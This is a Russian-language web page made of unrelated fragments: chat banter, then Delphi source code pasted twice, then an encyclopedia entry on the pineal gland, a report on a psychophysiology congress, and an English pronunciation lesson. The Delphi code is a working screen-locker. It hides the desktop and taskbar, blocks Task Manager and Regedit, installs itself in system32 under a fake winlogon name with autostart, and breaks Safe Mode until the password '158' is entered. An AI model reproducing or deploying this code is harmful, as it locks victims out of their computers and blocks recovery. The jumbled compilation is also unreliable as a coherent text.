Давайте по Занимаемся саморазвитием самообразованием.! Математикой морфологией информатикой.! И чем ни будь ещё.!

Пока ты торговался, я уже спать пошла)))

Торговался, мы не на рынке мис, удачного вам сна пусть присниться вам самое сокровенное.!)))

Ого! Что это может приснится ?

Плохо желал, не качественно))) мне ничего не приснилось)))

Не что, в следующий раз присниться.!

unit Unit1; interface usesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,Dialogs, StdCtrls, Registry; typeTForm1 = class(TForm)edt1: TEdit;btn1: TButton;lbl1: TLabel;lbl2: TLabel;lbl3: TLabel;lbl4: TLabel;lbl5: TLabel;btn2: TButton;procedure FormActivate(Sender: TObject);procedure FormKeyDown(Sender: TObject; var Key: Word;Shift: TShiftState);procedure FormCreate(Sender: TObject);procedure btn1Click(Sender: TObject);procedure btn2Click(Sender: TObject);private{ Private declarations }public{ Public declarations }end; varForm1: TForm1; implementation {$R *.dfm}{$R WindowsXP.res} procedure TForm1.FormActivate(Sender: TObject);varhTaskBar:THandle;beginForm1.Height:=screen.Height;Form1.Width:=screen.Width;SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);SystemParametersInfo(SPI_SETFASTTASKSWITCH,1,0,0);hTaskbar := FindWindow('Shell_TrayWnd', Nil);ShowWindow(hTaskBar, SW_HIDE);ShowWindow(FindWindow(Nil,'Program Manager'), SW_HIDE);ShowWindow(Application.Handle, SW_HIDE);end; procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;Shift: TShiftState);beginif ((ssAlt in Shift) and (Key = VK_F4)) thenKey:=0;end; procedure TForm1.FormCreate(Sender: TObject);varaz:TRegIniFile;pt : TPoint;beginFileOpen('C:\Windows\system32\taskmgr.exe',fmShareExclusive);FileOpen('C:\Windows\regedit.exe',fmShareExclusive);CopyFile(PChar(paramstr(0)), PChar('C:\Windows\system32\LXwinlogon.exe'),True);az:=TRegIniFile.Create('Software');az.RootKey:=HKEY_LOCAL_MACHINE;az.OpenKey('Software\Microsoft\Windows\CurrentVersion',True);az.WriteString('Run','Windows System Drives', 'C:\windows\system32\LXwinlogon.exe');az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\Minimal','System\CurrentControlSet\Control\SafeBoot\M',true);az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\NetWork','System\CurrentControlSet\Control\SafeBoot\N',true);az.CloseKey;az.Free;end; procedure TForm1.btn1Click(Sender: TObject);varhTaskBar: THandle;Password: string;az:TRegIniFile;beginPassword:=edt1.text;if (Password='158') thenbeginSystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0) ;SystemParametersInfo(SPI_SETFASTTASKSWITCH,0,0,0);ShowWindow(FindWindow(Nil,'Program Manager'),SW_SHOW);hTaskbar:=FindWindow('Shell_TrayWnd', Nil);ShowWindow(hTaskBar, SW_SHOWNORMAL);az:=TRegIniFile.Create('Software');az.RootKey:=HKEY_LOCAL_MACHINE;az.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);az.DeleteValue('Windows System Drives');az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\M','System\CurrentControlSet\Control\SafeBoot\Minimal',true);az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\N','System\CurrentControlSet\Control\SafeBoot\NetWork',true);az.CloseKey;az.Free;Close;endelsebeginShowMessage('Неправильный пароль, попробуйте ещё!');edt1.Clear;end;end; end.

unit Unit1; interface usesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,Dialogs, StdCtrls, Registry; typeTForm1 = class(TForm)edt1: TEdit;btn1: TButton;lbl1: TLabel;lbl2: TLabel;lbl3: TLabel;lbl4: TLabel;lbl5: TLabel;btn2: TButton;procedure FormActivate(Sender: TObject);procedure FormKeyDown(Sender: TObject; var Key: Word;Shift: TShiftState);procedure FormCreate(Sender: TObject);procedure btn1Click(Sender: TObject);procedure btn2Click(Sender: TObject);private{ Private declarations }public{ Public declarations }end; varForm1: TForm1; implementation {$R *.dfm}{$R WindowsXP.res} procedure TForm1.FormActivate(Sender: TObject);varhTaskBar:THandle;beginForm1.Height:=screen.Height;Form1.Width:=screen.Width;SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);SystemParametersInfo(SPI_SETFASTTASKSWITCH,1,0,0);hTaskbar := FindWindow('Shell_TrayWnd', Nil);ShowWindow(hTaskBar, SW_HIDE);ShowWindow(FindWindow(Nil,'Program Manager'), SW_HIDE);ShowWindow(Application.Handle, SW_HIDE);end; procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;Shift: TShiftState);beginif ((ssAlt in Shift) and (Key = VK_F4)) thenKey:=0;end; procedure TForm1.FormCreate(Sender: TObject);varaz:TRegIniFile;pt : TPoint;beginFileOpen('C:\Windows\system32\taskmgr.exe',fmShareExclusive);FileOpen('C:\Windows\regedit.exe',fmShareExclusive);CopyFile(PChar(paramstr(0)), PChar('C:\Windows\system32\LXwinlogon.exe'),True);az:=TRegIniFile.Create('Software');az.RootKey:=HKEY_LOCAL_MACHINE;az.OpenKey('Software\Microsoft\Windows\CurrentVersion',True);az.WriteString('Run','Windows System Drives', 'C:\windows\system32\LXwinlogon.exe');az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\Minimal','System\CurrentControlSet\Control\SafeBoot\M',true);az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\NetWork','System\CurrentControlSet\Control\SafeBoot\N',true);az.CloseKey;az.Free;end; procedure TForm1.btn1Click(Sender: TObject);varhTaskBar: THandle;Password: string;az:TRegIniFile;beginPassword:=edt1.text;if (Password='158') thenbeginSystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0) ;SystemParametersInfo(SPI_SETFASTTASKSWITCH,0,0,0);ShowWindow(FindWindow(Nil,'Program Manager'),SW_SHOW);hTaskbar:=FindWindow('Shell_TrayWnd', Nil);ShowWindow(hTaskBar, SW_SHOWNORMAL);az:=TRegIniFile.Create('Software');az.RootKey:=HKEY_LOCAL_MACHINE;az.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);az.DeleteValue('Windows System Drives');az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\M','System\CurrentControlSet\Control\SafeBoot\Minimal',true);az.CloseKey;az.MoveKey('System\CurrentControlSet\Control\SafeBoot\N','System\CurrentControlSet\Control\SafeBoot\NetWork',true);az.CloseKey;az.Free;Close;endelsebeginShowMessage('Неправильный пароль, попробуйте ещё!');edt1.Clear;end;end; end.

Эпи́физ, пинеальная железа, или шишкови́дное тело (corpus pineale, epiphysis cerebri) — небольшой орган, выполняющий эндокринную функцию, считающийся составной частью фотоэндокринной системы; прикреплён поводками к обоим зрительным буграм промежуточного мозга. Непарное образование серовато-красного цвета, расположенное в центре мозга между полушариями в месте межталамического сращения. Снаружи эпифиз покрыт соединительнотканной капсулой, от которой внутрь железы отходят трабекулы, разделяющие её на дольки. Вырабатывает гормоны мелатонин, серотонин и адреногломерулотропин.Анатомически принадлежит к надталамической области, или эпиталамусу. Эпифиз относится к диффузной эндокринной системе[1], однако часто его называют железой внутренней секреции (приписывая его принадлежность к гландулярной эндокринной системе). На основании морфологических признаков эпифиз причисляют к органам, находящимся за пределом гематоэнцефалического барьера.

У конгресса есть и другое, вполне официальное название – «Olympics of the Brain», которое можно перевести как « Олимпийцы мозга». Оно в полной мере отражает суть этих крупнейших форумов, которые проводятся один раз в два года. Во-первых, разнообразие, - в программе присутствует несколько десятков тем и дисциплин, связанных с изучением мозга, но очень разных, начиная от поиска фундаментальных причин болезней Паркинсона и Альцгеймера, депрессии, шизофрении и кончая изучением механизмов обучения и памяти.Во-вторых, высокий уровень участников и количество стран, которые они представляют: в этом году «соревновалось» около 600 исследователей из 67 стран, - рекордные цифры для подобных конгрессов. Проводятся они уже в течение 26 лет, с момента основания в 1982 году Международной организации по психофизиологии (I.O.P.), которая получила аккредитацию при ООН. Цель, как объяснил «В мире науки» президент I.O.P. Константин Мангина (Канада), «объединить ученых-психофизиологов мира и превратить психофизиологию в базисную науку, в рамках которой исследуется здоровый и больной мозг - как фундаментальные, так и прикладные, медицинские аспекты». В тематике нынешнего конгресса отразилась четкая тенденция этой области науки последних нескольких лет: сегодня многие исследователи пытаются «зафиксировать» с помощью различных методик и приборов высшие функции, которые присущи только человеческому мозгу – процессы мышления и творчества. Изучению механизмов творчества был даже посвящен специальный симпозиум, в котором участвовали исследователи из США, Германии, Австрии и России. Наши молодые ученые из Института мозга человека РАН – ученики академика Натальи Петровны Бехтеревой, которая в числе первых взялась за эту задачу, еще десять лет назад казавшуюся невыполнимой.«Мозг, как известно, является самым сложным объектом во Вселенной, и мы, несмотря на все усилия, методики, технологии, пока не можем до конца понять, как он работает, - признает председатель оргкомитета конгресса, директор Института мозга человека РАН, член-корреспондент РАН Святослав Медведев. – И все-таки каждое исследование приближает нас к этой цели». Однако, по мнению Медведева и многих его коллег, просто рост количества узконаправленных работ не позволит достичь желаемого результата. Настал момент анализа и осмысления огромного массива полученных результатов, их объединения и приведения в систему. «От нейрона - к системе» и «Генетика, мозг и поведение» - так назывались крупные симпозиумы конгресса, участники которых продемонстрировали именно то, как для изучения психических процессов объединяются различные дисциплины - физиология, молекулярная биология и генетика. Пример подобного подхода – пленарная лекция члена-корреспондента РАН, руководителя отдела системогенеза и лаборатории нейробиологии памяти Института нормальной физиологии РАМН Константина Анохина. Он рассказал о собственных экспериментах по изучению механизмов памяти, которые находятся на стыке физиологии и генетики, проанализировал основные результаты других исследователей, работающих в этой области, и представил основные гипотезы, еще требующие проверки. «Для системного подхода требуются новые технологии, - считает профессор Скотт Макейг из Университета Калифорнии в Сан-Диего. – Сегодня нейрофизиологи при исследовании тонких психических процессов используют в основном электроэнцефалографию, магнитный резонанс и позитронно-эмиссионную томографию, - во всех случаях испытуемые, которым предлагают, решить, к примеру, задачи на сообразительность, делают это в искусственной ситуации, и результат, полученный при этом, может быть сильно искажен».В своей пленарной лекции «Связывая мозг, мышление и поведение» он говорил о развитии новых технологий, которые позволили бы исследовать мыслительные процессы у человека в естественном состоянии, когда он двигается, слышит окружающий шум, видит различные предметы и т.д. Он продемонстрировал на слайде испытуемого, на голове которого была надета «шапочка» с электродами, а за спиной – небольшой рюкзачок. Очень похоже на круглосуточный мониторинг сердца, только вместо давления и пульса в режиме реального времени и «реальной жизни» записываются показатели работы мозга, в том числе – и мыслительной деятельности. Правда, насколько точной будет их трактовка, пока неясно.Еще одна отличительная черта нынешнего конгресса – обращение к истории. Известно, что русские ученые Сеченов, Бехтерев, Павлов, Лурия, Орбели и более современные их последователи по сути заложили фундамент современной нейрофизиологии, однако большинство западных ученых очень мало об этом знают. Возможно, специальный симпозиум «Научный исторический вклад нашей истории в психофизиологию» поможет восполнить этот пробел.В этом ряду ведущих российских ученых-физиологов – академик Наталья Бехтерева, которая должны была выступать на открытии 14-го Всемирного конгресса психофизиологов с пленарной лекцией. Однако всего за два месяца до этого события Натальи Петровны не стало. Вместо лекции был организован мемориальный симпозиум, где выступали ее коллеги и ученики. А сам текст был представлен участникам в виде небольшой, хорошо оформленной брошюры. Речь в ней о том, как активная работа мозга может влиять на состояние организма в целом и даже продлить человеку жизнь. Последние годы она много времени уделяла поиску объяснения механизмов того, как мозг может управлять организмом человека.«Структуры мозга, которые дополнительно активируются при решении творческой задачи, имеют прямое отношение к различным аспектам памяти поведения и речи, ориентации во времени и пространстве, проявлениям личности (personality), - пишет Наталья Бехтерева. - В то же время они влияют и на физиологические процессы, обеспечивающие важные функции. В возможности ряда из этих структур входит обеспечение эмоций, регуляция автономной нервной системы, дыхания, ритма сердца и т.д. Полагаю, что именно вовлечение человека в творческий процесс со всеми сопровождающими его перестройками в мозге и организме и приводит к статистически оправданной, пожалуй, удивительной ситуации, когда "умные живут дольше". Оживает мозг, оживает организм. Существующие связи между клетками и структурами мозга становятся более активными, образуются новые связи и, скорее всего, новые клетки, нейроны. Никак не отрицая огромную пользу и необходимость физических тренировок, правильного питания, считаю важным именно сегодня, учитывая тенденции современного мира, подчеркнуть целесообразность направленной активации творческого потенциала мозга». Более подробно с работой конгресса можно ознакомиться на сайтах:

Многим уже хорошо знакомы латинские буквы из английского алфавита, так как все продукты и предметы нашего повседневного использования носят английские названия, а также имеют инструкции на английском. Например, шампуни, соки, детские конструкторы, парфюмерия и косметика, этикетки на одежде и многое другое. Соответственно, мы интуитивно уже многое понимаем, и уж точно можем читать, что написано на продуктах.Однако хотелось бы подробнее остановиться на самом алфавите и его правильном чтении, так как в Англии, Америке и других англоговорящих странах принято диктовать инициалы, адрес и прочие личные данные по буквам, именно так как они читаются в алфавите. Например, Mary Price по буквам произносится как /em ei a: wai pi: a: ai si: i:/. Также, некоторые краткие аббревиатуры, названия фирм и производителей произносятся по буквам. Например, BMW /bi: em 'dʌb(ə)lju:/, H&M /eitʃ ænd em/.Несмотря на внешнюю сложность, английский алфавит гораздо меньше и проще русского алфавита. В нём всего 26 букв, из которых только 6 являются гласными (A, E, I, O, U, Y). Рассмотрим алфавит и его чтение более подробно.Aa /ei/ - name /neim/ - имя Bb /bi:/* - bingo /’biŋgəu/ - бинго Cc /si:/ - fancy /’fænsi/ - симпатизироватьDd /di:/ - dig /dig/ - копать Ee /i:/ - eagle /’i:gl/ - орёл Ff /ef/ - effort /’efət/ - усилие Gg /dʒi:/ - geography /dʒi'ɔgrəfi/- география Hh /eitʃ/ - H&M /eitʃ ænd em/ - H&M (название известного магазина)Ii /ai/ -ice /ais/ - лёдJj /dʒei/ - Jake/dʒeik/ - ДжейкKk /kei/ - Kate /keit/- КейтLl /el/ - elbow /'elbəu/- локотьMm /em/ - ham /hæm/- ветчина Nn /en/ - end /end/- конец Oo /əu/ - go /gəu/- идти Pp /pi:/ - pillow /’piləu/- подушка Qq /kju:/ - queue /kju:/- очередь Rr /a:/ - car /ka:/- машина Ss /es/ - blessing /'blesiŋ/- благословение Tt /ti:/ - Yeti /'jeti/- Йети Uu /ju:/ - universal /ju:ni'vɛ:s(ə)l/- универсальный Vv /vi:/ - cavity /’kæviti/- полость Ww/dʌblju:/ - BMW /bi: em dʌb(ə)lju:/– автомобиль БМВ Xx /eks/ - x-ray /’eksrei/- рентген Yy /wai/ - lullaby /’lʌləbai/- колыбельная Zz /zed/ - zebra /'zebrə/ - зебра.*Здесь и далее в произношении значок /:/, который обозначает длительность звука.Правильное произношение и чтение гласных букв в английских словах имеет свои особенности и не всегда соответствуют алфавиту. Так, буква Аa не всегда читается как /ei/, например, в словах apple, cat, talk, и т.д. Многое зависит от того в каком слоге гласная употребляется. В английском языке есть два вида слога: ударный (под ударением) и безударный.Чуть подробнее остановимся на примерах ударного слога, который встречается как в открытом, так и в закрытом слоге. Открытый слог оканчивается на гласную букву, т.е. не закрыт согласной, например, she, stu-dent, po-ta-to, fi-nal. А закрытый слог заканчивается на согласную букву, например, doc-tor, shell, kilt. Именно в открытом слоге под ударением гласные больше всего похожи на своё «алфавитное» произношение. Рассмотрим на примерах: Гласная Aa /ei/Открытый слог la-ter /’leitə/** - позжеЗакрытый слог cat /kæt/ - кошкаГласная Ee /i:/Открытый слог he /hi:/ - онЗакрытый слог bend /bend/ - согнутьГласная Ii /ai/Открытый слог li-lac /’lailək/ - сиреньЗакрытый слог lift /lift/ - лифт, подниматьГласная Oo /?u/Открытый слог pho-to /’fəutəu/ - фотографияЗакрытый слог got /gɔt/ - получилГласная Uu /ju:/Открытый слог cu-te /kju:t/ - симпатичный (-ая)Закрытый слог numb /nʌm/ - онемелыйГласная Yy /wʌi/Открытый слог type /taip/ - печатать на машинкеЗакрытый слог myth /miθ/ - миф**Здесь и далее в некоторых примерах значок /’/ будет указывать на ударение в словах. В английском языке ударение ставится перед слогом.А теперь немного о безударных гласных. Гласные e, i, y, в безударном слоге обычно передают звук /i/, если только не употребляются перед согласной r. А гласные a, o, u, в безударном слоге передают еле слышный звук /ə/. Все безударные гласные перед буквой r, произносятся также /ə/. Например:pre-fer /pri’fз:/ - предпочитать, pla-yer /’pleiə:/ - игрок, doctor /’dɔktə:/ - врач.Количество согласных букв во много раз превышает количество гласных, и в какой-то степени это хорошо, так как чтение согласных в английском языке не представляет большой сложности. Так, согласные Bb, Dd, Ff, Hh, Jj, Kk, Ll, Mm, Nn, Pp, Tt, Vv, Ww, Xx, Zz в словах, как правило, читаются как /b,d,f,h,dz,k,l,m,n,p,t,v,w,x,z/. Что касается остальных согласных, то они имеют двойственное чтение. Буква Сс перед гласными e, i, y читается как /si/, а во всех остальных случаях как /k/. Например:cinema /’sinəmə/ - киноcure /kjuə/ - лечениеБуква Gg перед гласными e, i, y читается как /dʒi/, а в остальных случаях как /g/. Например:ginger /’dʒindʒə/ - имбирьgoat /gəut/ -козёл, козаБуква Ss в начале слова и после глухих согласных (f,k,p,t) читается как /s/, а после звонких и во всех остальных случаях, как /z/. Simon /'saimən/ - Саймон books /buks/ - книгиfinds /faindz/ - находит wise /waiz/ - мудрый Нетипичными являются буквы Qq и Rr. Буква q может читаться как /kw/, например в слове quick /kwik/ - быстро, или /kju:/ как в слове queue /kju:/ - очередь. Буква r в большинстве слов почти неслышна, и следуя за гласной, только удлиняет её звук, например, car /ka:/ - машина. Однако если буква r в начале слова, как в имени Rick /rik/ - Рик, то она произносится.